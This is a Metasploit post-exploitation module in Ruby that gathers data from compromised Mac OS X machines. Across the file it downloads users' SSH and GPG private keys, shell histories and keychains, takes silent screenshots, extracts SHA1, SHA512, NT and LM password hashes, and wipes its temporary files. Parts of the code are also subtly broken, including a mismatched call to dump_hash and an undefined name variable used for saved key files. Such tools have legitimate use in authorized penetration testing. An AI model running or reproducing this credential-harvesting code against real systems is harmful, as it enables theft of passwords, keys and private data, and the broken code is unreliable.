##
# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit3 < Msf::Post

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Auxiliary::Report

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'OS X Gather Mac OS X System Information Enumeration',
				'Description'   => %q{
						This module gathers basic system information from Mac OS X Tiger, Leopard,
					Snow Leopard and Lion systems.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
				'Version'       => '$Revision$',
				'Platform'      => [ 'osx' ],
				'SessionTypes'  => [ "shell" ]
			))

	end

	# Run Method for when run command is issued
	def run
		case session.type
		when /meterpreter/
			host = sysinfo["Computer"]
		when /shell/
			host = session.shell_command_token("hostname").chomp
		end
		print_status("Running module against #{host}")
		running_root = check_root
		if running_root
			print_status("This session is running as root!")
		end
		ver_num = get_ver
		log_folder = log_folder_create()
		enum_conf(log_folder)
		enum_accounts(log_folder, ver_num)
		get_crypto_keys(log_folder)
		screenshot(log_folder, ver_num)
		dump_hash(ver_num) if running_root
		dump_bash_history(log_folder)
		get_keychains(log_folder)

	end

	#parse the dslocal plist in lion
	def read_ds_xml_plist(plist_content)

		require "rexml/document"

		doc  = REXML::Document.new(plist_content)
		keys = []

		doc.elements.each("plist/dict/key") do |element|
			keys << element.text
		end

		fields = {}
		i = 0
		doc.elements.each("plist/dict/array") do |element|
			data = []
			fields[keys[i]] = data
			element.each_element("*") do |thing|
				data_set = thing.text
				if data_set
					data << data_set.gsub("\n\t\t","")
				else
					data << data_set
				end
			end
			i+=1
		end
		return fields
	end

	# Function for creating the folder for gathered data
	def log_folder_create(log_path = nil)
		#Get hostname
		case session.type
		when /meterpreter/
			host = Rex::FileUtils.clean_path(sysinfo["Computer"])
		when /shell/
			host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp)
		end

		# Create Filename info to be appended to downloaded files
		filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

		# Create a directory for the logs
		if log_path
			logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo )
		else
			logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo )
		end

		# Create the log directory
		::FileUtils.mkdir_p(logs)
		return logs
	end

	# Checks if running as root on the target
	def check_root
		# Get only the account ID
		case session.type
		when /shell/
			id = session.shell_command_token("/usr/bin/id -ru").chomp
		when /meterpreter/
			id = cmd_exec("/usr/bin/id","-ru").chomp
		end
		if id == "0"
			return true
		else
			return false
		end
	end

	# Checks if the target is OSX Server
	def check_server
		# Get the OS Name
		case session.type
		when /meterpreter/
			osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
		when /shell/
			osx_ver = session.shell_command_token("/usr/bin/sw_vers -productName").chomp
		end
		if osx_ver =~/Server/
			return true
		else
			return false
		end
	end

	# Enumerate the OS Version
	def get_ver
		# Get the OS Version
		case session.type
		when /meterpreter/
			osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
		when /shell/
			osx_ver_num = session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp
		end


		return osx_ver_num
	end

	def enum_conf(log_folder)
		platform_type = session.platform
		session_type = session.type
		profile_datatypes = {"OS" => "SPSoftwareDataType",
			"Network" => "SPNetworkDataType",
			"Bluetooth" => "SPBluetoothDataType",
			"Ethernet" => "SPEthernetDataType",
			"Printers" => "SPPrintersDataType",
			"USB" => "SPUSBDataType",
			"Airport" => "SPAirPortDataType",
			"Firewall" => "SPFirewallDataType",
			"Known Networks" => "SPNetworkLocationDataType",
			"Applications" => "SPApplicationsDataType",
			"Development Tools" => "SPDeveloperToolsDataType",
			"Frameworks" => "SPFrameworksDataType",
			"Logs" => "SPLogsDataType",
			"Preference Panes" => "SPPrefPaneDataType",
			"StartUp" => "SPStartupItemDataType"}
		shell_commands = {
			"TCP Connections" => ["/usr/sbin/netstat","-np tcp"],
			"UDP Connections" => ["/usr/sbin/netstat","-np udp"],
			"Environment Variables" => ["/usr/bin/printenv",""],
			"Last Boottime" => ["/usr/bin/who","-b"],
			"Current Activity" => ["/usr/bin/who",""],
			"Process List" => ["/bin/ps","-ea"]
		}

		print_status("Saving all data to #{log_folder}")

		# Enumerate first using System Profiler
		profile_datatypes.each do |name,profile_datatypes|
			print_status("\tEnumerating #{name}")

			# Run commands according to the session type

				if session_type =~ /meterpreter/

					returned_data = cmd_exec("system_profiler",profile_datatypes)

					# Save data lo log folder
					file_local_write(log_folder+"//#{name}.txt",returned_data)
				elsif session_type =~ /shell/
					begin
						returned_data = session.shell_command_token("/usr/sbin/system_profiler #{profile_datatypes}",15)

						# Save data lo log folder
						file_local_write(log_folder+"//#{name}.txt",returned_data)
					rescue
					end
				end
		end

		# Enumerate using system commands
		shell_commands.each do |name, command|
			print_status("\tEnumerating #{name}")

			# Run commands according to the session type
			begin
				if session_type =~ /meterpreter/

					command_output = cmd_exec(command[0],command[1])

					# Save data lo log folder
					file_local_write(log_folder+"//#{name}.txt",command_output)

				elsif session_type =~ /shell/

					command_output = session.shell_command_token(command.join(" "),15)

					# Save data lo log folder
					file_local_write(log_folder+"//#{name}.txt",command_output)
				end
			rescue
				print_error("failed to run #{name}")
			end
		end
	end


	def enum_accounts(log_folder,ver_num)

		# Specific commands for Leopard and Snow Leopard
		leopard_commands = {
			"Users" => ["/usr/bin/dscacheutil","-q user"],
			"Groups" => ["/usr/bin/dscacheutil","-q group"]

			}

		# Specific commands for Tiger
		tiger_commands = {
			"Users" => ["/usr/sbin/lookupd","-q user"],
			"Groups" => ["/usr/sbin/lookupd","-q group"]

			}
		if ver_num =~ /10\.(7|6|5)/
			shell_commands = leopard_commands
		else
			shell_commands = tiger_commands
		end
		shell_commands.each do |name, command|
			print_status("\tEnumerating #{name}")

			# Run commands according to the session type
			if session.type =~ /meterpreter/

				command_output = cmd_exec(command[0],command[1])

				# Save data lo log folder
				file_local_write(log_folder+"//#{name}.txt",command_output)

			elsif session.type =~ /shell/

				command_output = session.shell_command_token(command.join(" "),15)

				# Save data lo log folder
				file_local_write(log_folder+"//#{name}.txt",command_output)
			end
		end

	end


	# Method for getting SSH and GPG Keys
	def get_crypto_keys(log_folder)

		# Run commands according to the session type
		if session.type =~ /shell/

			# Enumerate and retreave files according to privilege level
			if not check_root

				# Enumerate the home folder content
				home_folder_list = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")

				# Check for SSH folder and extract keys if found
				if home_folder_list.include?("\.ssh")
					print_status(".ssh Folder is present")
					ssh_folder = session.shell_command_token("/bin/ls -ma ~/.ssh").chomp.split(", ")
					ssh_folder.each do |k|
						next if k =~/^\.$|^\.\.$/
						print_status("\tDownloading #{k.strip}")
						ssh_file_content = session.shell_command_token("/bin/cat ~/.ssh/#{k}")

						# Save data lo log folder
						file_local_write(log_folder+"//#{name}",ssh_file_content)
					end
				end

				# Check for GPG and extract keys if found
				if home_folder_list.include?("\.gnupg")
					print_status(".gnupg Folder is present")
					gnugpg_folder = session.shell_command_token("/bin/ls -ma ~/.gnupg").chomp.split(", ")
					gnugpg_folder.each do |k|
						next if k =~/^\.$|^\.\.$/
						print_status("\tDownloading #{k.strip}")
						gpg_file_content = session.shell_command_token("/bin/cat ~/.gnupg/#{k.strip}")

						# Save data lo log folder
						file_local_write(log_folder+"//#{name}",gpg_file_content)
					end
				end
			else
				users = []
				case session.type
				when /meterpreter/
					users_folder = cmd_exec("/bin/ls","/Users")
				when /shell/
					users_folder = session.shell_command_token("/bin/ls /Users")
				end
				users_folder.each_line do |u|
					next if u.chomp =~ /Shared|\.localized/
					users << u.chomp
				end

				users.each do |u|
					user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
					if user_folder.include?("\.ssh")
						print_status(".ssh Folder is present for #{u}")
						ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ")
						ssh_folder.each do |k|
							next if k =~/^\.$|^\.\.$/
							print_status("\tDownloading #{k.strip}")
							ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.ssh/#{k}")

							# Save data lo log folder
							file_local_write(log_folder+"//#{name}",ssh_file_content)
						end
					end
				end


				users.each do |u|
					user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
					if user_folder.include?("\.ssh")
						print_status(".gnupg Folder is present for #{u}")
						ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ")
						ssh_folder.each do |k|
							next if k =~/^\.$|^\.\.$/
							print_status("\tDownloading #{k.strip}")
							ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.gnupg/#{k}")

							# Save data lo log folder
							file_local_write(log_folder+"//#{name}",ssh_file_content)
						end
					end
				end

			end
		end
	end

	# Method  for capturing screenshot of targets
	def screenshot(log_folder, ver_num)
		if ver_num =~ /10\.(7|6|5)/
			print_status("Capturing screenshot")
			picture_name = ::Time.now.strftime("%Y%m%d.%M%S")
			if check_root
				print_status("Capturing screenshot for each loginwindow process since privilege is root")
				if session.type =~ /shell/
					loginwindow_pids = session.shell_command_token("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
					loginwindow_pids.each do |pid|
						print_status("\tCapturing for PID:#{pid}")
						session.shell_command_token("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
						file_local_write(log_folder+"//screenshot_#{pid}.jpg",
						session.shell_command_token("/bin/cat /tmp/#{pid}.jpg"))
						session.shell_command_token("/usr/bin/srm -m -z /tmp/#{pid}.jpg")
					end
				end
			else
				# Run commands according to the session type
				if session.type =~ /shell/
					session.shell_command_token("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg")
					file_local_write(log_folder+"//screenshot.jpg",
					session.shell_command_token("/bin/cat /tmp/#{picture_name}.jpg"))
					session.shell_command_token("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg")
				end
			end
			print_status("Screenshot Captured")

		end
	end

	def dump_bash_history(log_folder)
		print_status("Extracting history files")
		# Run commands according to the session type
		users = []
		case session.type
		when /meterpreter/
			users_folder = cmd_exec("/bin/ls","/Users").chomp
			current_user = cmd_exec("/usr/bin/id","-nu").chomp
		when /shell/
			users_folder = session.shell_command_token("/bin/ls /Users").chomp
			current_user = session.shell_command_token("/usr/bin/id -nu").chomp
		end
		users_folder.each_line do |u|
			next if u.chomp =~ /Shared|\.localized/
			users << u.chomp
		end

		# If we are root lets get root for when sudo was used and all users
		if current_user == "root"

			# Check the root user folder
			root_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
			root_folder.each do |f|
				if f =~ /\.\w*\_history/
					print_status("\tHistory file #{f.strip} found for root")
					print_status("\tDownloading #{f.strip}")
					sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}")

					# Save data lo log folder
					file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file)
				end
			end

			# Getting the history files for all users
			users.each do |u|

				# Lets get a list of all the files on the users folder and place them in an array
				user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
				user_folder.each do |f|
					if f =~ /\.\w*\_history/
						print_status("\tHistory file #{f.strip} found for #{u}")
						print_status("\tDownloading #{f.strip}")
						sh_file = session.shell_command_token("/bin/cat /Users/#{u}/#{f.strip}")

						# Save data lo log folder
						file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file)
					end
				end
			end

		else
			current_user_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
			current_user_folder.each do |f|
				if f =~ /\.\w*\_history/
					print_status("\tHistory file #{f.strip} found for #{current_user}")
					print_status("\tDownloading #{f.strip}")
					sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}")

					# Save data lo log folder
					file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file)
				end
			end
		end
	end
	# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
	def dump_hash(log_folder,ver_num)
		print_status("Dumping Hashes")
		users = []
		nt_hash = nil
		host = session.session_host

		# Path to files with hashes
		sha1_file = ""

		# Check if system is Lion if not continue
		if ver_num =~ /10\.(7)/

			hash_decoded = ""

			# get list of profiles present in the box
			profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")

			if profiles
				profiles.each do |p|
					# Skip none user profiles
					next if p =~ /^_/
					next if p =~ /^daemon|root|nobody/

					# Turn profile plist in to XML format
					cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
					cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
					file = cmd_exec("cat","/tmp/#{p.chomp}")

					# Clean up using secure delete overwriting and zeroing blocks
					cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")

					# Process XML Plist into a usable hash
					plist_values = read_ds_xml_plist(file)

					# Extract the shadow hash data, decode it and format it
					plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
						hash_decoded << sprintf("%02X", b)
					end
					user = plist_values['name'].join("")

					# Check if NT HASH is present
					if hash_decoded =~ /4F1010/
						nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
					end

					# Carve out the SHA512 Hash, the first 4 bytes is the salt
					sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]

					print_status("SHA512:#{user}:#{sha512}")
					sha1_file << "#{user}:#{sha512}\n"

					# Reset hash value
					sha512 = ""

					if nt_hash
						print_status("NT:#{user}:#{nt_hash}")
						print_status("Credential saved in database.")
						report_auth_info(
							:host   => host,
							:port   => 445,
							:sname  => 'smb',
							:user   => user,
							:pass   => "AAD3B435B51404EE:#{nt_hash}",
							:active => true
						)

						# Reset hash value
						nt_hash = nil
					end
					# Reset hash value
					hash_decoded = ""
				end
			end
			# Save pwd file
			upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
			print_good("Unshadowed Password File: #{upassf}")

			# If system was lion and it was processed nothing more to do
			return
		end

		users_folder = cmd_exec("/bin/ls","/Users")

		users_folder.each_line do |u|
			next if u.chomp =~ /Shared|\.localized/
			users << u.chomp
		end
		# Process each user
		users.each do |user|
			if ver_num =~ /10\.(6|5)/
				guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
			elsif ver_num =~ /10\.(4|3)/
				guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
			end

			# Extract the hashes
			sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid}  | cut -c169-216").chomp
			nt_hash   = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid}  | cut -c1-32").chomp
			lm_hash   = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid}  | cut -c33-64").chomp

			# Check that we have the hashes and save them
			if sha1_hash !~ /00000000000000000000000000000000/
				print_status("SHA1:#{user}:#{sha1_hash}")
				sha1_file << "#{user}:#{sha1_hash}"
			end

			if nt_hash !~ /000000000000000/
				print_status("NT:#{user}:#{nt_hash}")
				print_status("Credential saved in database.")
				report_auth_info(
					:host   => host,
					:port   => 445,
					:sname  => 'smb',
					:user   => user,
					:pass   => "AAD3B435B51404EE:#{nt_hash}",
					:active => true
				)
			end
			if lm_hash !~ /0000000000000/
				print_status("LM:#{user}:#{lm_hash}")
				print_status("Credential saved in database.")
				report_auth_info(
					:host   => host,
					:port   => 445,
					:sname  => 'smb',
					:user   => user,
					:pass   => "#{lm_hash}:",
					:active => true
				)
			end
		end
		# Save pwd file
		upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
		print_good("Unshadowed Password File: #{upassf}")
	end

	# Download configured Keychains
	def get_keychains(log_folder)
		users = []
		case session.type
		when /meterpreter/
			users_folder = cmd_exec("/bin/ls","/Users").chomp
		when /shell/
			users_folder = session.shell_command_token("/bin/ls /Users").chomp
		end
		users_folder.each_line do |u|
			next if u.chomp =~ /Shared|\.localized/
			users << u.chomp
		end
		if check_root
			users.each do |u|
				print_status("Enumerating and Downloading keychains for #{u}")
				keychain_files = session.shell_command_token("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
				keychain_files.each do |k|

					keychain_file = session.shell_command_token("/bin/cat #{k.strip}")

					# Save data lo log folder
					file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file)
				end
			end
		else
			current_user = session.shell_command_token("/usr/bin/id -nu").chomp
			print_status("Enumerating and Downloading keychains for #{current_user}")
			keychain_files = session.shell_command_token("usr/bin/security list-keychains").split("\n")
			keychain_files.each do |k|

				keychain_file = session.shell_command_token("/bin/cat #{k.strip}")

				# Save data lo log folder
				file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file)
			end
		end
	end

end